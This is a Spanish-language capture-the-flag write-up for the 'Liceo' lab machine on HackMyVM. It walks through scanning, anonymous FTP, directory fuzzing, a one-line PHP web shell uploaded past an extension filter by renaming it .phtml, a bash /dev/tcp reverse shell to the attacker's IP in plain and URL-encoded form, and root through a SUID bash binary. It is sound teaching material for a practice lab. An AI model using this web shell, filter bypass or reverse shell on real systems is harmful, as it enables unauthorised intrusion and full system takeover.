LICEO #
Liceo es una máquina creada para todas aquellas personas que desean iniciarse en la ciberseguridad, especialmente en el mundo del pentesting.
La máquina consta de varias partes que requieren habilidades específicas para completar su explotación. El objetivo principal es incentivar y dar visibilidad al pentesting mediante este reto. En el pentesting de explotación de sistemas, podemos encontrar diversas dificultades para comprenderlo, pero después de una larga trayectoria en este sector, he decidido crear Liceo para ofrecer un ejemplo de explotación de sistemas sencillo.
¿DÓNDE SE PUEDE DESCARGAR LA MÁQUINA? #
La máquina se encuentra disponible para descargar en la web de HackMyVm.
WRITEUP LICEO #
Requisitos #
- Sistema Operativo Kali Linux o similar.
- Máquinas en la misma Red.
Enumeración #
El primer paso para poder comenzar una máquina es realizar la enumeración de los servicios que la máquina víctima está corriendo para ello, primero de todo deberemos de saber la IP de la máquina víctima.
IP MÁQUINA VÍCTIMA (TARGET)
10.0.2.4
Una vez tenemos la dirección IP de la máquina víctima, podemos empezar con la enumeración de servicios. Utilizando el comando Nmap con sus respectivos parámetros, vamos a poder identificar los servicios y versiones que se están ejecutando en los puertos.
❯ sudo nmap -p- --open -sCV -sS --min-rate 5000 -vvv -n -Pn 10.0.2.4 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 17:06 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.01s elapsed
Initiating ARP Ping Scan at 17:06
Scanning 10.0.2.4 [1 port]
Completed ARP Ping Scan at 17:06, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 17:06
Scanning 10.0.2.4 [65535 ports]
Discovered open port 80/tcp on 10.0.2.4
Discovered open port 22/tcp on 10.0.2.4
Discovered open port 21/tcp on 10.0.2.4
Completed SYN Stealth Scan at 17:06, 3.25s elapsed (65535 total ports)
Initiating Service scan at 17:06
Scanning 3 services on 10.0.2.4
Completed Service scan at 17:06, 6.07s elapsed (3 services on 1 host)
NSE: Script scanning 10.0.2.4.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:06
NSE: [ftp-bounce 10.0.2.4:21] PORT response: 500 Illegal PORT command.
Completed NSE at 17:06, 0.43s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.05s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.00s elapsed
Nmap scan report for 10.0.2.4
Host is up, received arp-response (0.00047s latency).
Scanned at 2024-02-11 17:06:38 EST for 10s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.0.2.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEwZ1vknI6B5ldjpFrlrBx3wmdRq0g9D2vHkGSZF0mqDslvgXA+SYmiBN3ETYhTH8Hh1tVKjGtZADp40fHMfQ1I=
| 256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDWFL2zQHLdSxoHaT8QP6jL3ok4bNN0uWWAMCwK7a5Nx
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
MAC Address: 08:00:27:B5:5F:EC (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 17:06
Completed NSE at 17:06, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.56 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
PUERTOS | SERVICIO |
---|---|
21 | FTP |
22 | SSH |
80 | HTTP |
Intrusión #
Una vez que ejecutamos Nmap, la primera información del primer puerto es el 21 (FTP), que nos indica que se permite el acceso con el usuario anónimo (Anonymous).
❯ ftp 10.0.2.4
Connected to 10.0.2.4.
220 (vsFTPd 3.0.5)
Name (10.0.2.4:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||34522|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
226 Directory send OK.
ftp>
Una vez dentro, al ejecutar el comando ’ls’, nos damos cuenta de que hay un archivo de texto llamado ’note.txt’. Para obtener el contenido del archivo, vamos a usar el comando ‘more’.
ftp> more note.txt
Hi Matias, I have left on the web the continuations of today's work,
would you mind contiuing in your turn and make sure that the web will be secure?
Above all, we dont't want intruders...
(END)
Gracias a esta nota podemos saber que hay algún tipo de vulnerabilidad en la web, la cual nos podría ayudar a obtener acceso al interior del sistema de la empresa. Una vez hemos terminado de leer la nota, vamos a visitar el sitio web de la compañía.
Después de terminar de observar la web y comprobar que no hay ninguna pista sobre la posible vulnerabilidad de la página web, vamos a proceder a realizar fuzzing en la página web.
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.2.4/ -x php,html,txt -t 100
===============================================================
===============================================================
[+] Url: http://10.0.2.4/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 306] [--> http://10.0.2.4/uploads/]
/upload.php (Status: 200) [Size: 371]
/css (Status: 301) [Size: 302] [--> http://10.0.2.4/css/]
/js (Status: 301) [Size: 301] [--> http://10.0.2.4/js/]
/images (Status: 301) [Size: 305] [--> http://10.0.2.4/images/]
/index.html (Status: 200) [Size: 21487]
/.html (Status: 403) [Size: 273]
/.php (Status: 403) [Size: 273]
===============================================================
Finished
===============================================================
Explotación vulnerabilidad AFU - RCE (Arbitrary File Upload & Remote Code Execution)
Como observamos en el escaneo, vemos dos directorios sospechosos: en este caso, ‘upload.php’ y ‘uploads’.
Después de visualizar el interior del directorio, observamos de que tenemos la posibilidad de subir archivos dentro de la web de la companía, por lo cual, vamos a intentar de introducir un archivo malicioso con extensión php.
CREACIÓN Y CARGA DE ARCHIVO MALICIOSO
❯ cat vuln.php
1 │ <?php
2 │ system($_GET['cmd'])
3 │ ?>
Gracias a este archivo, vamos a poder obtener ejecución de comandos dentro del sistema una vez lo subamos y lo ejecutemos para ello, vamos aprobar de subir el archivo.
Cuando intentamos subir el archivo, nos salta un error indicando que no se pueden subir archivos con la extensión .php. Sin embargo, es posible que la validación se esté aplicando únicamente a la extensión .php, aunque los archivos PHP pueden tener otras extensiones como .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp o .module.
Para cambiar la extensión vamos a usar el comando ‘mv’ para renombrar la extensión.
❯ mv vuln.php vuln.phtml
Una vez que cambiamos la extensión y la volvemos a subir, veremos que el archivo se carga exitosamente.
Para verificar que el archivo se encuentra dentro vamos a ubicarnos en el otro directorio encontrado en el fuzzing llamado ‘uploads’
En este apartado, veremos que los archivos se suben satisfactoriamente, así que vamos a ejecutarlo pulsando sobre el archivo.
Como se puede observar, no se muestra nada al ejecutar el archivo. Sin embargo, si realizamos una petición a la URL utilizando el código del archivo PHP, podremos comprobar si hay ejecución de comandos para una posible Reverse Shell.
Después de probar la petición en la URL, observamos que tenemos ejecución de comandos, por lo cual hay que probar que una Reverse Shell nos de acceso al sistema mediante una shell.
CREACIÓN REVERSE SHELL
bash -c "bash -i >& /dev/tcp/<IP ATACANTE>/"PUERTO EN ESCUCHA" 0>&1"
Esta es la Reverse Shell que vamos a utilizar para obtener acceso al sistema. Para que la Reverse Shell funcione en una URL, hay que codificarla para que la web pueda interpretarla correctamente, ya que de otro modo podría no ejecutarse correctamente debido a los espacios en el comando.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.5%2F443%200%3E%261%22
Una vez hemos codificado la URL, vamos a proceder a ponernos en escucha mediante la terminal utilizando el siguiente comando:
❯ nc -nlvp 443
listening on [any] 443 ...
Cuando nos encontremos en escucha, ya podremos ejecutar la shell de la misma manera que hemos efectuado el comando ‘id’.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.4] 51512
bash: cannot set terminal process group (724): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$
Si hemos seguido correctamente los pasos, ya tendremos nuestra shell con el usuario ‘www-data’ dentro del sistema de la compañía.
ESCALADA DE PRIVILEGIOS #
TRATADO DE TERMINAL
Cuando ingresamos a una máquina mediante la Reverse Shell, es importante configurar adecuadamente la terminal para poder utilizar la shell de forma normal y evitar posibles fallos. Para lograrlo, utilizaremos diversos comandos que mejorarán su seguridad.
script /dev/null -c bash
ctrl z
stty raw -echo; fg
reset
xterm
export TERM=xterm SHELL=bash
EXPLOTACIÓN DE PERMISOS SUID
En esta máquina, nos encontramos una explotación de servicios SUID, para poder explotarlo y convertirnos en el usuario root, será necesario conocer cual es el permiso con el que tendremos acceso realizar el salto.
www-data@liceoserver:/$ find / -perm -4000 2>/dev/null
/snap/snapd/20671/usr/lib/snapd/snap-confine
/snap/snapd/19457/usr/lib/snapd/snap-confine
/snap/core20/2105/usr/bin/chfn
/snap/core20/2105/usr/bin/chsh
/snap/core20/2105/usr/bin/gpasswd
/snap/core20/2105/usr/bin/mount
/snap/core20/2105/usr/bin/newgrp
/snap/core20/2105/usr/bin/passwd
/snap/core20/2105/usr/bin/su
/snap/core20/2105/usr/bin/sudo
/snap/core20/2105/usr/bin/umount
/snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2105/usr/lib/openssh/ssh-keysign
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/umount
/usr/bin/sudo
/usr/bin/bash
/usr/bin/fusermount3
/usr/libexec/polkit-agent-helper-1
En este caso, el permiso SUID que está expuesto es el bash, para su misma explotación será necesaria la ejecución del permiso.
www-data@liceoserver:/# /bin/bash -p
bash-5.1# whoami
root
bash-5.1#